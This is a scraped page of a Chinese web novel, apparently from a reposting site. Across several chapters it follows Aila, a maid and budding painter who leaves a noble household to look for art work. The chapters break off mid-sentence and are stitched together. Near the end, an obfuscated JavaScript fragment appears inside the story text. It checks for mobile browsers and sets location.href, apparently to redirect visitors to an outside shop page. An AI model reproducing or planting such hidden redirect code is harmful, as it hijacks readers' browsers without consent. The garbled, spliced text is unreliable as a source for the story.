舞会开始了就好，自己才不好奇呢，前两天只不过落后了丽安几步路，就撞了人，手臂都被捏青了。还好被撞的美少年没什么大事，也算心胸宽广，要不然自己可就惨了，别的不好说，被约根纳批一顿是肯定逃不了的。 送餐的女仆一时间没走，爱洛赶紧去了走廊尽头的盥洗室。出来之后就听见大厅里直冲屋顶的乐曲声，夹杂着笑声和尖叫声，微微摇头，闪身回到了书房。 让送餐的女仆带着餐盘下楼，爱洛把书房门虚掩上，转身站在那副睡莲图前，刚才有位客人说后侧可以再多加点阴影，这会再仔细看看，好像也有点道理。 爱洛正聚精会神的想着怎么下笔呢，“咣当”一声，书房门被大力推开，撞在墙上又反弹回去，差点撞到推门人的鼻子。 推门的人没想到门没锁，本来只是随便推推看，结果弄出这么大动静，反倒愣住了。 爱洛被惊了一下，“嗖”的转头，自己脑海中刚刚想过的美少年呆呆地站在门口看着自己，像是没想到这个房间不但没锁门，屋里还有人，还堂而皇之的站着看他。 眯着眼上下打量了一番，今天的美少年没穿那件骚气十足的红色礼服，而是换了规规矩矩的深蓝色礼服，虽然也是带着暗纹金边，有点花里胡哨的，但也好过那件炸眼的红衣。 “嗯，”美少年回过神，不悦地盯着爱洛，对于她一直这样抬头看自己，是有些不高兴的。但因为经常被人这样参观，倒也习惯了，就没怎么发作，只是清了清嗓子说道：“我来参观坎贝尔夫人的最新画作。” 爱洛收回视线，低头屈了屈膝，说道：“夫人有八副画作在这里展示，我把蜡烛调亮一点，您自己慢慢看吧。” 上前把灯罩里的蜡烛重新拨亮，爱洛心里嗤之以鼻：“骗谁呢，一看就 第35章 那个美少年 打起精神的爱…… [] 打起精神的爱洛伸长脖子，刚看到霍华德伯爵抬起头，跟坎贝尔夫人对上视线，正是关键时刻，耳边一道清越的声线阴沉沉地响起：“这就是你说的勃勃生机吗？” “呃，”爱洛被吓得打了个嗝，魂都没了半个。偷窥主人不可言说的场景还被外人逮个正着，这个外人还跟自己有点过节，真是麻烦大了。 爱洛扭过头，大大的蓝眼睛里包含着眼泪，要掉不掉的，让本就深邃的一双眸子如同要破碎的蓝色水晶，折射出直击灵魂的光。 看到美少年灰蓝色眼中的自己，爱洛也恍惚了一下，那个人眼中的人是自己么？不知不觉，自己已经长成一个这样好看的小少女了。 如同被锋利的匕首狠狠的刺了一下，美少年半天没说话，像是忘记自己出来要干什么来着。好一会儿，才闭了闭眼睛，然后淡淡地开口道：“你不是书房女仆吗？在大厅里做什么？还不去看着画。” “是。”看出美少年心情实在是不佳，爱洛没敢回嘴，小兔子一样乖乖地回到书房，在角落里坐下，平复被惊吓的心情。 还好，这次美少年没有跟来书房，爱洛就一直自己待着。直到舞会结束，也没再见到这个不知道是谁家的少年。 。。。。。。 舞会结束后没两天，新年正式到来。既要给舞会收尾，还要准备家中的新年宴会，女仆们全都忙得四脚朝天，根本没功夫聊天，更不用说私下找机会交流各自的小八卦了。 新年一过，天气明显好转，风雪天几乎销声匿迹了。 坎贝尔公爵在新年第三天离开了拜阿斯城，家里也终于恢复到了之前的平静生活节奏，丽安和爱洛这才有时间讨论小道消息。 这一天，大约下午三点多的时候，太阳虽然没什么温度，也明晃晃地挂在天上彰显存在。 餐厅里只有米拉，丽安和爱洛。手头的活都忙完了，凑在一起喝下午茶。当然，员工们聚在一起，不止是为了喝茶，最主要的是交换情报。 米拉先开口：“公爵跟往年相比，来的晚，走得早，说是为了和议会的几位大人确认新的候选人，以图提前下注，好在提出新法案的时候有所倾向。” 又有点神秘地透露：“我听他的贴身男仆说，根本就不是这么回事。他手里的产业跟新法案压根没什么关系。是认识了野蔷薇广场的女演员，去年秋天就住在那边了呢。” “哇，”一阵惊呼，丽安气愤地说：“这也太过分了，岂不是兰敦的人们都知道了？夫人多没面子。” “那也不一定。舞会上没听见有什么风声，可见他还是很谨慎的。”米拉若有所思地回答：“贴身男仆天天跟着，自然最为了解。其他人除非有交集，否则也不见得知道。看起来，那个女演员不算太知名啊！” 爱洛听了半天，好奇地问：“野蔷薇广场是什么地方？女演员怎么让夫人没面子了？” 丽安瞪了爱洛一眼：“笨死了，还能是什么地方。啊，你不是兰敦人，不知道这些事。” 然后，丽安详细的跟她讲了来龙去脉，让她对兰敦的地理位置，社会现状有了深刻的了解，免得再问出这些常识性的问题，丢了夫人的脸。 野蔷薇广场位于兰敦市西边，靠近茵河。广场因为有四座野蔷薇花型的喷水池得名。本是为了给民众提供清洁水源的场所，逐渐成为人们聚会的地点，人气极高。 因为周围有着四通八达的水陆交通和大量的商行仓库，逐渐发展成区域娱乐中心。围绕着广场，修建了大量的房屋，用于居住，演出和商业活动。 在广场周边居住的人们，以中下层讨生活的人为主，既有住在高档公寓的掮客，交际花，也有合租在普通小楼的小生意人，绝对的鱼龙混杂之地。 坎贝尔公爵大半年都住在那里，显然是和以演出为名的特殊行业从业者搅合在了一起，丽安才会为夫人愤怒。 哦，这样啊，爱洛心下了然。嗯，颇具经济实力的盛年夫妻常年分居，各自欢喜。只要还是蓝星的人类，这个现状在哪个时空都不稀奇吧。 “那，你们说，夫人知道吗？”爱洛问了一个让两人颇难回答的问题。 “嗯，大概，是知道的。”丽安有点艰难的回答。“夫人在兰敦有好几家商行，人手充足，家里的仆人也大都是约根纳在管理。再怎么隐秘，也不可能被瞒住。” “所以，我们就不用为夫人担心了。她才五岁的时候，我就在她家里干活了。放心吧，少爷在男校都快毕业了，用不了三年，就该上大学了。夫人不会在意的。”米拉乐呵呵地说。 “反正夫人天天也挺忙的，没功夫管这些事。”丽安还有点不乐意，年轻的女孩子么，都这样。 很快，爱洛提出一个引起两人注意的话题：“我在舞会上看见霍华德伯爵了，很多小姐们都围着他呢。” “我也看到了，”丽安有点小兴奋：“夫人走到跟前，伯爵马上就请她跳舞，后来也一直陪着夫人在小客厅聊天呢。” “这么坦荡的吗？”爱洛问：“那公爵大人没有找夫人跳舞吗？” “公爵大人忙着跟一位晚到的什么委员会的大人物抽雪茄呢，哪有功夫理会这些。”米拉不以为然的地说。 真是一部精彩的全真人物实景上流社会年代情感剧呐！ 说完了主人们的八卦，爱洛本想打听打听美少年是谁的，又转念一想，他并没有找自己的麻烦，还是别问了。 多一事不如少一事，就是觉得人家好看，好看还能当饭吃？就目前的情况而言，这个，并不具备粉爱豆的条件啊！ 过完新年，坎贝尔夫人的应酬少了很多，大部分时间呆在家里，这就不可避免地跟爱洛产生了更多的交集。 除了管理书房之外，爱洛就一直在为自己下定决心的两幅画做准备，圣诞巡游和议会舞会，深深地让后世的她着迷。 置身于宛如电影一般的世界中，鲜花，人群，欢呼，音乐，舞蹈，礼服，每一样都能激发起爱洛的创作欲望，让她想通过画笔把这欢快的感受记录下来。 当坎贝尔夫人无意中发现爱洛在为圣诞巡游的画作打草稿时，非常慷慨地准 第36章 选择另外一种生活 直到…… [] 直到四月初，天气马上要热起来了，总待在后院廊下的爱洛，才完成了她的第二幅画《冬日舞会》。 看到最终的成稿，坎贝尔夫人没有像上次那样惊奇，只是让约根纳找了位中年装裱师，给这两幅尺寸不算太大的画装上了橡木外框，刷上了透明外层保护颜料，并排挂在走廊的墙壁上。 爱洛运用前世今生的技法和眼光，完成了两幅心心念念的画作，像是给自己来这个世界的前十年做了一个交代。 不遗忘，不放弃，一直在努力。。。。。。 在走廊看到画作的米拉和丽安，这两天看到爱洛的眼神都不对了，夸奖和赞叹的话语随时脱口而出，不时地还有遗憾：“你要是哪个贵族家的孩子就好了。”这是米拉的感慨。 丽安却认为，未必要是生在贵族家。现在各行各业都蒸蒸日上，哪怕是在一个生意人的家庭，爱洛的这一手就足够让家里花大价钱送去她去高等学校，最好是坎贝尔夫人的母校。这样，未来的前程必定不可限量。 爱洛听这两个人聊着不着调的内容，还讨论如果她是王室公主，这样的才华恐怕会让某国王子疯狂什么的，心底不时地翻个白眼，这都是什么跟什么，这么有想象力，也想不到自己是其他时空的未来人吧。 日子就这么欢快地到了四月底的一天。这个时节，拜阿斯城快要进入夏季了。城中的各种花卉早已盛放，坎贝尔家的后花园里，满眼的花团锦簇，争奇斗艳。 兰敦每年的春季社交下周就要开始了，约根纳一直在安排回兰敦的事情。这天下午，坎贝尔夫人在书房里，跟爱洛好好地谈了一下她的未来。 “爱洛，我知道你不会一直做女仆。你要跟我们一起回兰敦吗？”坎贝尔夫人开门见山地问她：“如果一起回去，你还是做书房女仆的活儿，想要画画随时都可以，兰敦的家里有专门的画室，你都可以用。” 又坦然告诉她：“你现在还是太小了，就算我愿意做你的资助人，送你去绘画学校，那里也未必适合你。” 爱洛沉默了一会，非常真诚的回答：“非常感谢您，坎贝尔夫人。我去兰敦，肯定能够拥有安定的生活环境。但将来想要凭借绘画谋生，那我从现在开始，就要努力了。” 坎贝尔夫人听懂了爱洛话里的意思。以她现有的绘画水平，可以说基础技法扎实，有想法有灵感，但想以此单独从业，还远远不够。 环境的限制，让年龄本就不大的爱洛距离拥有能够独立的一技之长还有一段路要走。而这些，是在坎贝尔夫人家的画室里得不到的。 同样，即使表现出了超出常人的天份，就她的身份而言，也不足以打动能够指点她的大师们。 任何时代，想进入顶级的艺术圈，都需要有强力的敲门砖。而这些，坎贝尔夫人没办法，也没有理由提供给她。 因此，考虑再三之后，爱洛还是决定离开这个工作了七个月的温暖之地，为自己可以掌握的未来去奋斗。 最终，坎贝尔夫人用50几尼一副的价格留下了爱洛的两幅画，约根纳还提前让裁缝送来了当季的新衣，把书房中整理出来的那些带不走的画纸颜料一股脑地送给她。 加上攒下来的7个月薪水，即便短期内没有收入，爱洛的生活也能维持下去。 得知她不会跟着大家一起回兰敦之后，米拉和丽安都非常不舍得，丽安还一整天都没有跟爱洛说话。 但米拉却劝道：“秋天的时候她们就要来过冬，也分开不了几个月。这几天，还是好好相处吧。” 丽安想了想，确实如此，届时还能见面，就还是跟爱洛和好了。 到了回兰敦的日子，楼前，爱洛和几位同事一一拥抱，相互约定，今年秋天再见面。 米拉则是凑在她的耳边偷偷地说：“等我秋天给你带兰敦的特产杜松子酒，味道绝了，你肯定喜欢。”惹得约根纳一个劲儿地瞪着这位热情的厨娘，眼中全是不赞成。 在大门口看着一长列的马车碌碌远去，爱洛跟看门的老约翰打过招呼，就在清洁女仆们的帮助下，叫了一辆总在这条街上拉活儿的马车，把自己的一大堆行李放上去，朝石匠街的贝林家驶去。 上个月，爱洛找时间回来过一次，结清了自己因为新年忙碌而拖欠的房租，还曾含含糊糊地说过，自己可能不会去兰敦。 所以，当马车停在贝林家的小楼前，听见声音来开门的她并没有太过惊讶，而是眯着眼睛笑道：“看看，这是我们的小爱洛舍不得拜阿斯城，回来了。” 随即从屋里出来的温切尔看到马车上卸下来一地的行李，赶紧帮忙搬进屋里。 爱洛给车夫结清车费，打发他走了之后，上前扶住贝林的手臂，眨着忽闪忽闪地大眼睛问道：“贝林奶奶，我今天正式搬回来了，晚上请客。你说我们是吃烤牛肉好呢，还是吃烤羊肉好呢？” “不许乱花钱。”说着责怪的话，但孩子有这个心，让贝林笑得更开心了。 “拿到薪水，我就特别想庆祝一下。要不我们先选一样，选哪个呢？”爱洛故意做出一脸为难的样子，逗得温切尔也笑个不停。 爱洛和温切尔连拖带抬，把所有的行李搬上她的小阁楼后，爱洛拒绝了温切尔的好意，自己动手清扫了房间。 掀开遮灰的地毯，整理床铺，用抹布把所有的家具门窗都擦过，把被子枕头什么的拿到窗户上晾着，眼见着屋子里干净起来能住人了，爱洛才梳了头，下楼出门为晚上请客做准备。 坎贝尔夫人回兰敦的火车是今天一大早发车的。爱洛回到石匠街之后，忙乱了这么一大通，到这会儿也不过是上午10点左右。 从今天开始，自己就真的要在这里常住了。请客吃饭不是心血来潮，在决定留下的时候，爱洛就有这个想法了。既然有这个能力，一方面感谢对自己帮助很大的贝林和温切尔，同时，也想为今后的生活铺平道路。 午饭肯定是来不及了，只能随便吃点什么对付，关键是要去市场采购食材，为晚上的大餐做准备。 贝林和温切尔带着爱洛，去了不远处的杂 第37章 联络 温切尔高兴地念叨：…… [] 温切尔高兴地念叨：“这可太好了，我们石匠街还没听说谁会画画呢，这要是谁家的孩子想学，不就有门路了。” 爱洛谦虚地说：“我现在还不够资格教授别人。不过，要是有谁想简单了解一下，肯定没问题。” 又趁机提到了自己的下一步计划：“我打算先找个跟绘画相关的工作，只有继续提高自己的水平，才能成为真正的画师。” 贝林连连点头：“好孩子，你说的对。我们也帮你打听打听，虽然石匠街没人干这个，但谁家还没几个亲朋好友呢？” 一时间，屋里的声音都高了不少，温切尔还跟贝林兴致勃勃的谈论起各家的亲友都是做什么的，直到墙上的挂钟响了好几下，才回过神来，和贝林一起去厨房准备晚餐。 爱洛笑嘻嘻地跟在她俩身后进了厨房，又被推出来，在客厅等晚饭，百无聊赖地坐在小沙发上，差点睡着了。 一阵敲门声惊了爱洛一下，摇了摇脑袋，确定不是幻听，“嗖”地站起来，两三步走到门口。 打开门一看，一个敦敦实实的中等个子姑娘，手里提着纸袋，双目微瞪的盯着她：“你是谁？” “你找谁？”爱洛也同时开口。 两人对视了半晌，都笑出声，爱洛说：“我是住在阁楼的爱洛伊丝，今天刚回来。” 姑娘也开口道：“我是住在三楼的卡洛塔。” 这就是那位在自然博物馆担任讲解员的三楼租客，贝林介绍过。去年住进来后，爱洛很快就找到了活儿干，两个人就没有见过面。 一边让开身，一边问道：“你是刚下班吗？” “嗯嗯，是的。”卡洛塔进门，好奇地问她：“你要搬回来住了么？我听贝林奶奶说，你在贵族家做书房女仆呢。” “夏天来了，来度假的人们都要回兰敦，我也就回来了。”爱洛回答道。 “哦，是这样啊。”卡洛塔很有分寸的没多问。 走进客厅，食物的香气铺面而来，卡洛塔放下手里的纸袋，吸了吸鼻子，活泼地说：“哇，好香啊，我看见温切尔婶婶在厨房了。” “我今天正式回来住，请大家吃晚餐，你也一起吧。”爱洛跟卡洛塔说。 “这样啊？”卡洛塔并没有一口答应，而是看向端着餐盘进屋的贝林。 贝林正往餐桌上摆盘子，闻言抬头，瞅了卡洛塔一眼，笑道：“没关系，爱洛也不是外人，晚餐一起吃。” “好。”卡洛塔似乎就在等这个，不假思索地答应道。 “我还买了脆饼，正好加一道主食。”卡洛塔把餐桌上的纸袋打开，取出两张脆饼放进面包篮子里。 爱洛没吃过这种在当地很受欢迎的小吃，薄薄的面饼散发出麦香，上面沾满了芝麻，一会儿自己一定要尝尝。 洋葱拌苦菊，烤制的腌牛肉，加了黄油和蜂蜜的土豆泥，一篮子散发出热气的面包，这些就是今晚的主菜。 温切尔端着餐盘给每个人面前的盘子里分餐。之后四人落座，贝林敲了一下汤碗，引起大家的注意，笑呵呵地说道：“今天庆祝爱洛回石匠街常住，我们也能品尝一顿美味晚餐。开始吧，孩子们。” 爱洛拿起刀叉就奔向烤牛肉，这个香味馋了她半天了，必须趁热吃。温切尔细嚼慢咽，还要照顾大家，询问是否需要添菜，忙极了。 过了一会儿，温切尔给大家盛蘑菇汤的间歇，卡洛塔问道：“你以后都不做书房女仆了吗？” “暂时是不做了，我要干点别的。”爱洛嘴里抿着浓厚的土豆泥，嘴里含混地回答。 “她会画画，想要做画师。准备找个这方面的活儿先干着。”贝林弯了弯眼睛看向爱洛，“真让人想不到。” “啊，真的吗？”卡洛塔很意外，追问她：“你会到什么程度，是能上色了吗？” 爱洛想了想，回答说：“嗯，我单独画了两幅画，被坎贝尔夫人留下了。” “那你这个水平，相当厉害呀。”卡洛塔若有所思：“我们博物馆会找画师在墙壁上画展品的图案，还要经常更换或者补色。要是你能自己完成，可是条好路子。不过，你年纪有点小，自己干肯定不行。这可都是些大工程，要找商行介绍画师的，他们会带自己的徒弟或者伙计跟着作画。” 爱洛回答道：“我也就是想找个跟绘画相关的工作。有基础应该能容易点。” 温切尔点头说：“肯定很容易，画师本就不好找。更何况，现在已经是温泉重新装饰的旺季了，能独立作画的画师时间早就排满了，就连能帮忙的人都很抢手的。”经常打点零工的温切尔对拜阿斯城底层劳务市场的供求信息还是很灵通的。 贝林说道：“爱洛今天才回来，先休息两天。再联系熟悉的中介，说说找活儿的事。” 这个提议大家都很赞同，就着这个话题，大家讨论了周边名声比较好的中介，还提到了打过交道的本诺，他居然还小有名气，倒让爱洛没想到。 吃完晚餐，卡洛塔回了三楼。很快收拾完厨房，让温切尔把留出来的烤牛肉和面包带回家后，爱洛和贝林在客厅里喝茶。 回来一天了，爱洛这才有机会原原本本地跟贝林讲一讲自己这几个月在坎贝尔夫人家的生活。一直聊到了晚上八点多，才分别洗漱，各自上楼休息。 第二天，本想睡个懒觉的爱洛早早地醒了。睁开双眼，看着有点陌生的斜屋顶，呆了好一会儿，才反应过来，这里不是鸢尾花街的坎贝尔夫人家。这里，是自己来到拜阿斯城的第一个落脚点，石匠街贝林家的阁楼小屋。 拉开窗帘，爱洛脸贴在窗户上，往外看。初升的阳光温暖不刺眼，洒在外出的行人身上，落在灰白的石砖上，照亮了早起的人们谋生的路途。 很久没有这么悠闲地看早起的太阳了，居高临下地看了一会儿街景，爱洛才穿戴整齐，起身下楼。 楼下，贝林在吃早餐，见爱洛下来了，示意她快去洗漱。正好碰见从厨房出来的卡洛塔，手里的煎蛋三明治都来不及吃，急匆匆地问了声好，就赶着去上班。 爱洛洗漱完毕，端着热好的牛奶，拿了面包和土豆泥，坐在餐桌旁吃早餐。想到自己刚住下时还买了小锅，准备自己做饭吃，不由笑了。 贝林这会儿已经吃完了，坐 第38章 广撒网 穿了条橘红棉布裙…… [] 穿了条橘红棉布裙，套着灰色无袖长外衣的莉莲转头，见是一个梳着双辫，戴这一顶花边帽的小少女在喊自己，仔细看了看，才犹豫地问：“是，是爱洛吗？” 爱洛笑着点头，莉莲露出笑容，大声说道：“天哪，你长高了这么多，我都不敢认你了。脸也更白嫩了，不是那个枯黄的小可怜了。” 爱洛哈哈大笑：“谁是小可怜了？我可是爱洛依丝。” 莉莲拉住爱洛的手，左看右看，不太相信地说道：“你竟然没跟着去兰敦。我可是听说了，坎贝尔夫人特别喜欢你呢。” 爱洛摆摆手，否认道：“哪有的事。我就是个书房女仆，坎贝尔夫人很善良，对仆人们都很好。” 莉莲的母亲丽莎·皮洛从铺子里走出来，见是爱洛在跟莉莲聊天，高声招呼道：“这不是爱洛吗？难得碰见你，快进来喝杯茶。” 爱洛笑着跟丽莎问了好，说道：“不用忙了，丽莎婶婶。我就是来个莉莲姐姐说一声，我还留在拜阿斯城呢。” 莉莲给母亲使了个眼色，让她别来打扰。两个女孩子手挽着手，走到街上一间饮品店的门口。爱洛买了两杯红樱桃水，在窄窄的过道围成的卡座里，两人低声聊起天来。 “这么说，是你不想跟着去兰敦的？”莉莲和其他人一样，听到这个也是很惊讶，爱洛就只好把自己的理由又说了一遍。 对于爱洛会画画这事，莉莲没有太惊奇，冬青树街上的消息一向传得很快，她早就从好几个人那里知道了。 反倒是爱洛听说她是从老约翰，裁缝海蕾，和本诺那里分别得到的消息，不禁有些哑然。莉莲不见得跟每个人特别熟悉，但总能说上话，传来传去，就让她对爱洛在坎贝尔家的情况很是了解。 “这么说起来，”爱洛想了一下，问她：“城里的消息一点都不闭塞。那你觉得，我要是想找绘画方面的工作，本诺大叔有办法吗？” 莉莲先点头，又摇头，说道：“本诺大叔在北城认识的人多，但他主要是在冬季给各家介绍短期仆人的。在画师这一块，我没怎么听说过。不过，他的人脉很广，或许有路子也说不定。” 慢吞吞的喝完樱桃水，时间就已经中午了。爱洛又请莉莲吃了街边的乳酪蛋糕，烤土豆，尝了一种鲜花茶，才分开各自去忙碌。 爱洛按照莉莲提供的地址，来到了跟冬青树街平行的黄栗树街。上次她们俩能那么顺利地碰见本诺，是因为旺季时，他会整天在鸢尾花街转悠。冬天过了，本诺就多半会在这条街上的小酒馆待着，在那里交换消息，寻找客户。 沿着小石砖路，一直走到了黄栗树街中间的位置，爱洛才找到了门口立着木招牌的灰熊酒馆。这周围还站着几个无所事事的男人，卷着袖子叼着烟卷盯着路过的行人看。 爱洛忽略掉这些闪烁的目光，径直上前推开白天虚关着的铁门。一进门，粗犷豪放的气息扑面而来。不算昏暗的店内，厚重的原木吧台正对大门，吧台后方的杂木架上摞着一层一层的橡木酒桶。酒馆的屋顶是由未经打磨的原木拼接而成，挂着些树枝兽皮之类的装饰物，营造出荒野独居的氛围。 几个男人正围坐在吧台区喝酒聊天。酒味，烟味，混合着不知名食物的味道，掷骰子声，吵架声，哄笑声，让没见过这种场面的爱洛腿有点软，这，是个什么文明程度的江湖？ 屋内有几桌人注意到她，声音渐渐小了下去，犹如贸然闯入野兽居所的爱洛故作镇静，走到吧台跟前，对一个穿着三件套，系着领结的酒保说：“给我来一杯金苹果酒。” “哈哈，这是谁家的小姑娘，这里不卖金苹果酒。”一个戏谑的声音出现，在吧台喝酒的一个中年男人调侃道。 “谁说不卖的，威士忌兑着朗姆酒不就是金苹果味了。”大白天就喝得醉醺醺的同伴反驳他。 一直没接上话的酒保赶紧开口道：“金苹果酒刚刚卖完了。请问，你有什么事儿需要我帮忙？” 爱洛转过身，左右环视了一下，没见到本诺的身影，对酒保说道：“我找冬青树街的本诺大叔谈点事情。” 酒保一听，就笑了：“本诺在后院待着呢，你等着。”马上喊来一个小伙计，让他去把正在玩弹子球的本诺叫出来。 很快，半敞着上衣的本诺一头雾水地来到吧台，认出是爱洛找他。赶紧抹了记几下自己红通通的脸，跟酒保打过招呼，扣上衣扣，躲开吵着要跟他喝一杯的酒客们，带着爱洛出了酒馆大门。 出门向左走了几步，拐到一个巷子口，避开门口那些无所事事的人，本诺迟疑了片刻，开口说道：“爱洛小姐，你居然能到这里来找我，我可太荣幸了。嗯，你没跟坎贝尔夫人去兰敦，真让人意外。” 爱洛笑嘻嘻地说：“本诺大叔，我没跟着去兰敦，是因为想要找到别的活干呀。这会儿都中午了，我请你吃饭吧。” 本诺失笑，摇摇头，说道“好了，有什么事就直说吧。我还能让你请我吃饭吗？” “嘿嘿，是这样的。”爱洛有点不好意思，但又不得不吹嘘自己：“我在坎贝尔夫人家学了绘画，水平不错，想找一份这方面的工作。” 本诺听了，想了一下，说道：“这个我确实是听说了，只是没想到你会这么选，书房女仆可是个抢手活儿。”摸了摸下巴思考了一会儿，问道：“你要画画，是想当学徒呢，还是想去商行？” “这里面有什么区别？”爱洛一听有戏，顿时振作许多。跟伊薇聊天的时候，说的可没这么细。 “当学徒，就是跟独立画师签学徒协议。画师接到订单需要助手，就给干活。好处是可以学手艺，以后能自己当画师。坏处嘛，薪水少，活多而杂。还得看画师的人品和心情，未必能学到东西。” “去商行，就是作为商行的联络画师，商行会接到各种订单，再分发给各个画师。好处不用说，收入高。但对画师的个人水平要求很高，要能够独立创作。” 看了爱洛一眼，见她听得认真，本诺继续说：“要是做学徒，你还不如做书房女仆，收入高，轻松体面。要是做画师，现在的你，能行吗？” “嗯，”听完本诺的介绍， 第39章 等待进入网审 等待进入网审 [] 去面包店买了一盒奶油点心，这是老约翰很喜欢的下午茶。爱洛搭乘马车来到鸢尾花街的坎贝尔夫人家，敲开了门房的窗户。 正咂摸烟斗的老约翰探出头，见是爱洛，笑的眼睛眯起来：“这不是爱洛吗？好像又长高了。” “这才几天，哪有长那么快。”爱洛递上点心问候道：“最近都还好吧。” 老约翰嘴里说着：“夫人回兰敦了，我这里清闲的很。”随即就要打开大门，让爱洛进去， 爱洛拦住了老约翰，甜甜地说道：“约翰大叔，我有事情想要请你帮忙。” 老约翰抬起头，问她：“我能帮上什么忙？说来听听。” 爱洛说道：“我认识一个朋友，叫做伊薇，说她跟您的姐姐是邻居。我想知道她住在哪里。”又不好意思的笑了：“我们当时有点忙，没来得及交换地址。” 老约翰笑了：“我知道。新年的时候，我姐姐的儿子来看我，还提到说，他们街上的伊薇跑去他家打听你是谁。不过大家当时太忙了，我就忘了跟你说。” “真的？”爱洛睁大了眼睛，这就有点意思了。看来，伊薇也不想失去自己这条路，哦不，这个朋友呢。 “嗯，她家离这里不算近，要坐马车过去。” “好的，太谢谢你了，约翰大叔。”爱洛大喜，有点封闭的城市就有这点好处，想找的人七拐八弯总能联系上。 记下约翰说的地址，爱洛走回冬青树街口，坐上马车，一路驶向城市东边的码头区。 伊薇家在月亮河入城口的码头区，是大河水运的交汇处。在不通火车的年代，城外的月亮河是连接拜阿斯城和兰敦的主要运输通道。 自从铁路开通，客货都更愿意选择快捷便宜的火车，城东的码头日渐衰落，已经不复过去繁忙火热的景象。 爱洛下车后，顺着十字路口向前走，来到一大片低矮木楼组成的街区。街边的路牌上写着“铁钉街”，看名字就知道，过去这里主要经营船只铁钉。 现在河运萎缩，大多数船只停航，只余下一小部分还在运货载人。铁钉的生意自然大受影响，多数店铺已经关门改为住宅，余下的店铺已经转为售卖食品和各种杂货。 爱洛挨个看着门牌，一边走一边找。看了没几家，就有一位路过的老妇人很热心，问她：“小姑娘，你找谁？” 爱洛对戴着头巾，穿半旧花裙的老妇人很礼貌：“您好。我在找伊薇·奥利弗的家，她去年在银月温泉做侍女。” 老妇人一听，就接口说道：“你找伊薇啊，她家在前面，往前五、六家就是了。”又追问：“你是她什么人？找她做什么？” 爱洛简单地回答道：“我们是认识的朋友，很久不见了，来聊聊天。”谢过这位没有恶意但有些多话的妇人，紧着脚步走了。 往前走了一小段路，对照门牌没错，爱洛站在了一栋三层高的普通木楼前。 廊檐下的木阳台上放着一把花格背的靠椅。整栋楼过去店铺的痕迹仍在，改为住宅后的木门紧紧关着，看不出里面有没有人。 确定地址没错，爱洛踏上台阶，拉响了门口的铜铃。没一会儿，里面有人过来打开门，门后站着一个男孩，圆脸，看起来年纪跟她差不多，但个子比她要低一个脑袋。 男孩疑惑地看着爱洛,问道：“请问你找谁？” 爱洛露出八颗牙齿的笑容，开口说：“我找伊薇·奥利弗，这里是她的家吧。” “嗯，”男孩抓了抓头发，扭头喊道：“伊薇，有人找你。”然后也不说话，就站在门边打量着爱洛。 一阵踢踏的脚步声响起，披散着头发，穿着围裙的伊薇走过来，只见到一个瘦瘦的女孩子站在自家的廊檐下，背后的阳光照在她身上，逆着光看不清面容。 走到门边，伊薇才看到爱洛正俏生生地冲自己笑，大吃一惊，低呼道：“哦，天哪，爱洛，竟然是你。你怎么知道我住在这里？你怎么没去兰敦呢？” 伊薇显然既意外又激动，一口气不停歇的把自己内心的疑问说了出来。 “是我，我也没想到，呵呵。”爱洛没有立即回答伊薇的疑问，就只是站在门口笑。 两个人手拉手笑了一会儿，伊薇才反应过来，她俩还站在门口，路边已经有人在往这边看了，赶紧让爱洛进屋说话。 穿过小小的门厅，爱洛跟着伊薇来到了客厅。房子不大，四四方方的，正对的那面墙有通往楼上的木梯，木梯下面是一扇小门，打开之后应该就是后院了。 客厅里没人，两人在壁炉前的沙发上坐下，男孩关上大门后，也跟进来坐下，一副一定要参与谈话的模样。 伊薇轻轻地瞪了男孩一眼，和爱洛介绍说：“这就是我弟弟吉斯·奥利弗。今年9岁，和你差不多大。” 爱洛友好地朝吉斯点点头：“那我还是要比他大一点的，我已经10岁了。”也可以算虚岁的，也不差这几个月了不是？爱洛觉得自己个子高，理直气壮地这么认为。 吉斯见爱洛跟他打招呼，一下子手足无措起来，低头打开小门跑掉了。逗得伊薇直笑，安排他：“去给我们拿一壶茶过来。” 爱洛也笑了，别看伊薇比她大了好几岁，但两人说话交流时感觉不出年龄的差距。而吉斯，就确实是像个小弟弟了。 伊薇笑了一会儿，吉斯真的给捧了一壶茶过来，倒好后，又倔强地坐在另一侧的沙发上，要听她俩说话。 伊薇只好招呼爱洛喝茶，并且很自然地接上了之前的话题：“到底怎么回事，快给我说说。” 爱洛喝了一口温热的茶水，就跟伊薇从头讲了一遍自己最近的生活安排。 听说她为了要走绘画这条路，拒绝去兰敦，伊薇当场睁大了眼睛嚷嚷起来：“我的天哪，你居然会做出这种事情。你知不知道做坎贝尔夫人家的女仆到底有多抢手啊？兰敦你都不去，多少人为了去那里费劲心思呢。” 嗯，这个，可能就是眼界、能力和思维的不同了。 对于伊薇来说，无论是做贵族家的女仆，还是去首府兰敦，都是拜阿斯城里大部分人眼里的好工作，好去处。 贵族家里的长期仆人，收入高生活福利好，但雇人的时候，不是需要识字，就是需要有一技之长，这就把一大群底层人过滤掉了。 去兰敦也不容易。除了路费问题，绝大多数人出生之后就没离开过这个城市，让他们自己去陌生的城市里谋生，根本就是不敢想的事。所以，能跟随主人去首府，是一条实实在在的捷径。 对于爱洛来说，需要人身依附的仆人是没有未来的。她做的书房女仆只是短期雇工，这种情况是比较少见的。大部分女仆都是像米拉和丽安那样，会有一份不一样的合同，没有期限，但也不能随便离开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|10730957|103149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不变的条款呢？” 科马内心深处，非常想拒绝。可是，实际情况正如爱洛一语道破的那样，对于画室和零散的画师来说，商行的条件谈不上优厚，但凡别人有口饭吃，就不会来接这种低端画，碰上退单，血本无归。时间长了，人人心中都有秤，拜阿斯城里从业的人再多，也是有上限的。 “我们没有这个先例。”科马还在挣扎。 既不想退缩，也不想放弃跟爱洛的合作。眼看她手里有大量便宜好用的学徒工，简直就是天然为低端画而生，错过，就很难再碰上了。 “客户收货有佣金，客户毁约有履约金，你们无论如何都有收益，为什么会到处找画室来接单？还不是因为你这个先例不再合适了。”爱洛紧着补了一刀，彻底瓦解了对手的斗志。 